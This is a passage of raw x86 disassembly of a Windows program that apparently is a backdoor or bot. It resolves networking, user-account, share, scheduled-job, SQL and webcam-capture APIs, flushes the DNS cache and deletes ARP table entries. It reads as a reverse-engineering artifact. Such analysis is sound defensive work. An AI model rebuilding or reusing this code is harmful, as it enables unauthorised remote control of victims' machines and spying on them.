loc_40A00C: ; CODE XREF: sub_409B13+438j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB730, eax
loc_40A017: ; CODE XREF: sub_409B13+4B9j
; sub_409B13+4C1j ...
mov dword_4CB72C, 1
loc_40A021: ; CODE XREF: sub_409B13+4F5j
mov ebp, ds:dword_4270B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A2DD
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CB5C4, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CB6F8, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CB564, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CB540, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CB600, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CB5E8, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CB5AC, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CB6D4, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CB6F0, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CB5FC, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CB6E0, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CB694, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CB654, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CB650, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CB584, eax
call esi ; GetProcAddress
push offset aSend_0 ; "send"
push edi
mov dword_4CB57C, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CB6A4, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CB6B8, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CB66C, eax
call esi ; GetProcAddress
mov dword_4CB62C, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CB680, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CB63C, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CB67C, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CB6E8, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CB634, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CB5F8, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CB668, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CB6D8, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CB60C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CB5A8, eax
call esi ; GetProcAddress
cmp dword_4CB5C4, ebx
mov dword_4CB6EC, eax
jz loc_40A2E8
cmp dword_4CB6F8, ebx
jz loc_40A2E8
cmp dword_4CB564, ebx
jz loc_40A2E8
cmp dword_4CB600, ebx
jz loc_40A2E8
cmp dword_4CB5E8, ebx
jz loc_40A2E8
cmp dword_4CB5AC, ebx
jz loc_40A2E8
cmp dword_4CB6D4, ebx
jz loc_40A2E8
cmp dword_4CB6F0, ebx
jz loc_40A2E8
cmp dword_4CB5FC, ebx
jz loc_40A2E8
cmp dword_4CB6E0, ebx
jz loc_40A2E8
cmp dword_4CB694, ebx
jz loc_40A2E8
cmp dword_4CB654, ebx
jz loc_40A2E8
cmp dword_4CB650, ebx
jz loc_40A2E8
cmp dword_4CB584, ebx
jz short loc_40A2E8
cmp dword_4CB6A4, ebx
jz short loc_40A2E8
cmp dword_4CB6B8, ebx
jz short loc_40A2E8
cmp dword_4CB66C, ebx
jz short loc_40A2E8
cmp dword_4CB62C, ebx
jz short loc_40A2E8
cmp dword_4CB680, ebx
jz short loc_40A2E8
cmp dword_4CB63C, ebx
jz short loc_40A2E8
cmp dword_4CB67C, ebx
jz short loc_40A2E8
cmp dword_4CB6E8, ebx
jz short loc_40A2E8
cmp dword_4CB634, ebx
jz short loc_40A2E8
cmp dword_4CB5F8, ebx
jz short loc_40A2E8
cmp dword_4CB668, ebx
jz short loc_40A2E8
cmp dword_4CB6D8, ebx
jz short loc_40A2E8
cmp dword_4CB60C, ebx
jz short loc_40A2E8
cmp eax, ebx
jnz short loc_40A2F2
jmp short loc_40A2E8
; ---------------------------------------------------------------------------
loc_40A2DD: ; CODE XREF: sub_409B13+51Fj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB738, eax
loc_40A2E8: ; CODE XREF: sub_409B13+6BEj
; sub_409B13+6CAj ...
mov dword_4CB734, 1
loc_40A2F2: ; CODE XREF: sub_409B13+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A3F7
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CB590, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CB518, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CB61C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CB5C8, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CB628, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CB5EC, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CB558, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CB550, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CB560, eax
call esi ; GetProcAddress
cmp dword_4CB590, ebx
mov ecx, dword_4CB5EC
mov dword_4CB688, eax
jz short loc_40A3D3
cmp dword_4CB518, ebx
jz short loc_40A3D3
cmp dword_4CB61C, ebx
jz short loc_40A3D3
cmp dword_4CB5C8, ebx
jz short loc_40A3D3
cmp dword_4CB628, ebx
jz short loc_40A3D3
cmp ecx, ebx
jz short loc_40A3D3
cmp dword_4CB558, ebx
jz short loc_40A3D3
cmp dword_4CB550, ebx
jz short loc_40A3D3
cmp dword_4CB560, ebx
jz short loc_40A3D3
cmp eax, ebx
jnz short loc_40A3DD
loc_40A3D3: ; CODE XREF: sub_409B13+87Ej
; sub_409B13+886j ...
mov dword_4CB73C, 1
loc_40A3DD: ; CODE XREF: sub_409B13+8BEj
cmp ecx, ebx
jz short loc_40A412
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CB604, eax
jnz short loc_40A412
jmp short loc_40A40C
; ---------------------------------------------------------------------------
loc_40A3F7: ; CODE XREF: sub_409B13+7EAj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB740, eax
mov dword_4CB73C, 1
loc_40A40C: ; CODE XREF: sub_409B13+8E2j
mov dword_4CB604, ebx
loc_40A412: ; CODE XREF: sub_409B13+8CCj
; sub_409B13+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A45C
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CB5DC, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CB70C, eax
call esi ; GetProcAddress
cmp dword_4CB5DC, ebx
mov dword_4CB56C, eax
jz short loc_40A467
cmp dword_4CB70C, ebx
jz short loc_40A467
cmp eax, ebx
jnz short loc_40A471
jmp short loc_40A467
; ---------------------------------------------------------------------------
loc_40A45C: ; CODE XREF: sub_409B13+90Aj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB748, eax
loc_40A467: ; CODE XREF: sub_409B13+939j
; sub_409B13+941j ...
mov dword_4CB744, 1
loc_40A471: ; CODE XREF: sub_409B13+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A578
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CB548, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CB520, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CB598, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CB5CC, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CB6E4, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CB580, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CB52C, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CB51C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CB5B4, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CB6AC, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CB664, eax
call esi ; GetProcAddress
cmp dword_4CB548, ebx
mov dword_4CB588, eax
jz short loc_40A583
cmp dword_4CB520, ebx
jz short loc_40A583
cmp dword_4CB598, ebx
jz short loc_40A583
cmp dword_4CB5CC, ebx
jz short loc_40A583
cmp dword_4CB6E4, ebx
jz short loc_40A583
cmp dword_4CB580, ebx
jz short loc_40A583
cmp dword_4CB52C, ebx
jz short loc_40A583
cmp dword_4CB51C, ebx
jz short loc_40A583
cmp dword_4CB5B4, ebx
jz short loc_40A583
cmp dword_4CB6AC, ebx
jz short loc_40A583
cmp dword_4CB664, ebx
jnz short loc_40A58D
jmp short loc_40A583
; ---------------------------------------------------------------------------
loc_40A578: ; CODE XREF: sub_409B13+969j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB750, eax
loc_40A583: ; CODE XREF: sub_409B13+A11j
; sub_409B13+A19j ...
mov dword_4CB74C, 1
loc_40A58D: ; CODE XREF: sub_409B13+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A5C2
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CB570, eax
call esi ; GetProcAddress
cmp dword_4CB570, ebx
mov dword_4CB64C, eax
jz short loc_40A5CD
cmp eax, ebx
jnz short loc_40A5D7
jmp short loc_40A5CD
; ---------------------------------------------------------------------------
loc_40A5C2: ; CODE XREF: sub_409B13+A85j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB758, eax
loc_40A5CD: ; CODE XREF: sub_409B13+AA7j
; sub_409B13+AADj
mov dword_4CB754, 1
loc_40A5D7: ; CODE XREF: sub_409B13+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A60C
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CB6D0, eax
call esi ; GetProcAddress
cmp dword_4CB6D0, ebx
mov dword_4CB6CC, eax
jz short loc_40A617
cmp eax, ebx
jnz short loc_40A621
jmp short loc_40A617
; ---------------------------------------------------------------------------
loc_40A60C: ; CODE XREF: sub_409B13+ACFj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB760, eax
loc_40A617: ; CODE XREF: sub_409B13+AF1j
; sub_409B13+AF7j
mov dword_4CB75C, 1
loc_40A621: ; CODE XREF: sub_409B13+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A680
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CB6FC, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CB6F4, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CB6BC, eax
call esi ; GetProcAddress
cmp dword_4CB6FC, ebx
mov dword_4CB58C, eax
jz short loc_40A68B
cmp dword_4CB6F4, ebx
jz short loc_40A68B
cmp dword_4CB6BC, ebx
jz short loc_40A68B
cmp eax, ebx
jnz short loc_40A695
jmp short loc_40A68B
; ---------------------------------------------------------------------------
loc_40A680: ; CODE XREF: sub_409B13+B19j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB768, eax
loc_40A68B: ; CODE XREF: sub_409B13+B55j
; sub_409B13+B5Dj ...
mov dword_4CB764, 1
loc_40A695: ; CODE XREF: sub_409B13+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A6CA
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4CB5C0, eax
call esi ; GetProcAddress
cmp dword_4CB5C0, ebx
mov dword_4CB6C8, eax
jz short loc_40A6D5
cmp eax, ebx
jnz short loc_40A6DF
jmp short loc_40A6D5
; ---------------------------------------------------------------------------
loc_40A6CA: ; CODE XREF: sub_409B13+B8Dj
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB770, eax
loc_40A6D5: ; CODE XREF: sub_409B13+BAFj
; sub_409B13+BB5j
mov dword_4CB76C, 1
loc_40A6DF: ; CODE XREF: sub_409B13+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A768
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4CB690, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4CB6DC, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4CB618, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4CB5D0, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4CB670, eax
call esi ; GetProcAddress
cmp dword_4CB690, ebx
mov dword_4CB5E0, eax
jz short loc_40A773
cmp dword_4CB6DC, ebx
jz short loc_40A773
cmp dword_4CB618, ebx
jz short loc_40A773
cmp dword_4CB5D0, ebx
jz short loc_40A773
cmp dword_4CB670, ebx
jz short loc_40A773
cmp eax, ebx
jnz short loc_40A77D
jmp short loc_40A773
; ---------------------------------------------------------------------------
loc_40A768: ; CODE XREF: sub_409B13+BD7j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB778, eax
loc_40A773: ; CODE XREF: sub_409B13+C2Dj
; sub_409B13+C35j ...
mov dword_4CB774, 1
loc_40A77D: ; CODE XREF: sub_409B13+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A7B2
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; GetProcAddress
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4CB5A4, eax
call esi ; GetProcAddress
cmp dword_4CB5A4, ebx
mov dword_4CB684, eax
jz short loc_40A7BD
cmp eax, ebx
jnz short loc_40A7C7
jmp short loc_40A7BD
; ---------------------------------------------------------------------------
loc_40A7B2: ; CODE XREF: sub_409B13+C75j
call ds:dword_42708C ; RtlGetLastWin32Error
mov dword_4CB780, eax
loc_40A7BD: ; CODE XREF: sub_409B13+C97j
; sub_409B13+C9Dj
mov dword_4CB77C, 1
loc_40A7C7: ; CODE XREF: sub_409B13+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409B13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40A7CF(int,char *Str,int,int)
sub_40A7CF proc near ; CODE XREF: sub_401ACD+2537p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+Str]
push esi
xor esi, esi
cmp dword_4CB714, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A817
push dword_4CB718
lea eax, [ebp+Dest]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A817: ; CODE XREF: sub_40A7CF+1Aj
cmp dword_4CB71C, esi
jz short loc_40A84B
push dword_4CB720
lea eax, [ebp+Dest]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A84B: ; CODE XREF: sub_40A7CF+4Ej
cmp dword_4CB724, esi
jz short loc_40A87F
push dword_4CB728
lea eax, [ebp+Dest]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A87F: ; CODE XREF: sub_40A7CF+82j
cmp dword_4CB72C, esi
jz short loc_40A8B3
push dword_4CB730
lea eax, [ebp+Dest]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A8B3: ; CODE XREF: sub_40A7CF+B6j
cmp dword_4CB734, esi
jz short loc_40A8E7
push dword_4CB738
lea eax, [ebp+Dest]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A8E7: ; CODE XREF: sub_40A7CF+EAj
cmp dword_4CB73C, esi
jz short loc_40A91B
push dword_4CB740
lea eax, [ebp+Dest]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A91B: ; CODE XREF: sub_40A7CF+11Ej
cmp dword_4CB744, esi
jz short loc_40A94F
push dword_4CB748
lea eax, [ebp+Dest]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A94F: ; CODE XREF: sub_40A7CF+152j
cmp dword_4CB74C, esi
jz short loc_40A983
push dword_4CB750
lea eax, [ebp+Dest]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A983: ; CODE XREF: sub_40A7CF+186j
cmp dword_4CB754, esi
jz short loc_40A9B7
push dword_4CB758
lea eax, [ebp+Dest]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A9B7: ; CODE XREF: sub_40A7CF+1BAj
cmp dword_4CB75C, esi
jz short loc_40A9EB
push dword_4CB760
lea eax, [ebp+Dest]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40A9EB: ; CODE XREF: sub_40A7CF+1EEj
cmp dword_4CB764, esi
jz short loc_40AA1F
push dword_4CB768
lea eax, [ebp+Dest]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40AA1F: ; CODE XREF: sub_40A7CF+222j
cmp dword_4CB76C, esi
jz short loc_40AA53
push dword_4CB770
lea eax, [ebp+Dest]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40AA53: ; CODE XREF: sub_40A7CF+256j
cmp dword_4CB774, esi
jz short loc_40AA87
push dword_4CB778
lea eax, [ebp+Dest]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40AA87: ; CODE XREF: sub_40A7CF+28Aj
cmp dword_4CB77C, esi
jz short loc_40AABB
push dword_4CB780
lea eax, [ebp+Dest]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 20h
loc_40AABB: ; CODE XREF: sub_40A7CF+2BEj
lea eax, [ebp+Dest]
push offset asc_42DA28 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE8
push esi ; int
lea eax, [ebp+Dest]
push edi ; int
push eax ; int
push ebx ; Str
push [ebp+arg_0] ; int
call sub_409A73
add esp, 14h
loc_40AAE8: ; CODE XREF: sub_40A7CF+302j
lea eax, [ebp+Dest]
push eax
call sub_4151AD
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CF endp
; =============== S U B R O U T I N E =======================================
sub_40AAFA proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C96p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB694 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AB22
push [esp+arg_0]
call dword_4CB6D8 ; gethostbyname
test eax, eax
jnz short loc_40AB1B
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1B: ; CODE XREF: sub_40AAFA+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB22: ; CODE XREF: sub_40AAFA+Dj
retn
sub_40AAFA endp
; =============== S U B R O U T I N E =======================================
sub_40AB23 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB570
xor eax, eax
test ecx, ecx
jz short locret_40AB31
call ecx ; DnsFlushResolverCache
locret_40AB31: ; CODE XREF: sub_40AB23+Aj
retn
sub_40AB23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB32 proc near ; CODE XREF: sub_401ACD:loc_403F5Ep
Dest = byte ptr -88h
Size = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+Size]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+Size], edi
mov [ebp+var_4], ebx
call dword_4CB6D0 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40ABF8
sub ecx, 32h
jz loc_40ABF1
sub ecx, 48h
jz short loc_40AB92
sub ecx, 6Eh
jz short loc_40AB8B
loc_40AB74: ; CODE XREF: sub_40AB32+8Bj
push eax
lea eax, [ebp+Dest]
push offset asc_42DC3C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_40ABD2
; ---------------------------------------------------------------------------
loc_40AB8B: ; CODE XREF: sub_40AB32+40j
push offset unk_42DC18
jmp short loc_40ABC4
; ---------------------------------------------------------------------------
loc_40AB92: ; CODE XREF: sub_40AB32+3Bj
push [ebp+Size] ; Size
call _malloc
push [ebp+Size] ; Size
mov esi, eax
push edi ; Val
push esi ; Dst
call _memset
add esp, 10h
cmp esi, edi
jz short loc_40ABBF
lea eax, [ebp+Size]
push ebx
push eax
push esi
call dword_4CB6D0 ; GetIpNetTable
cmp eax, edi
jz short loc_40ABF8
jmp short loc_40AB74
; ---------------------------------------------------------------------------
loc_40ABBF: ; CODE XREF: sub_40AB32+79j
push offset asc_42DBE8 ; "-"
loc_40ABC4: ; CODE XREF: sub_40AB32+5Ej
; sub_40AB32+C4j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40ABD2: ; CODE XREF: sub_40AB32+57j
lea eax, [ebp+Dest]
mov [ebp+var_4], edi
push eax
call sub_4151AD
pop ecx
loc_40ABE2: ; CODE XREF: sub_40AB32+C8j
; sub_40AB32+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF1: ; CODE XREF: sub_40AB32+32j
push offset unk_42DBB8
jmp short loc_40ABC4
; ---------------------------------------------------------------------------
loc_40ABF8: ; CODE XREF: sub_40AB32+29j
; sub_40AB32+89j
cmp [esi], edi
jbe short loc_40ABE2
lea ebx, [esi+4]
loc_40ABFF: ; CODE XREF: sub_40AB32+DAj
push ebx
call dword_4CB6CC ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFF
jmp short loc_40ABE2
sub_40AB32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC10 proc near ; CODE XREF: sub_401ACD+2248p
; sub_401ACD+2399p ...
Dst = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4CB5F8 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset byte_4CB784
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi ; Dest
call _sprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC10 endp
; =============== S U B R O U T I N E =======================================
sub_40AC69 proc near ; CODE XREF: sub_412B09+24Cp
; sub_412B09+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC92
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC85: ; CODE XREF: sub_40AC69+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC85
pop edi
jmp short loc_40AC96
; ---------------------------------------------------------------------------
loc_40AC92: ; CODE XREF: sub_40AC69+Aj
mov edx, [esp+4+arg_0]
loc_40AC96: ; CODE XREF: sub_40AC69+27j
test esi, esi
pop esi
jz short loc_40ACA0
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40ACA0: ; CODE XREF: sub_40AC69+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
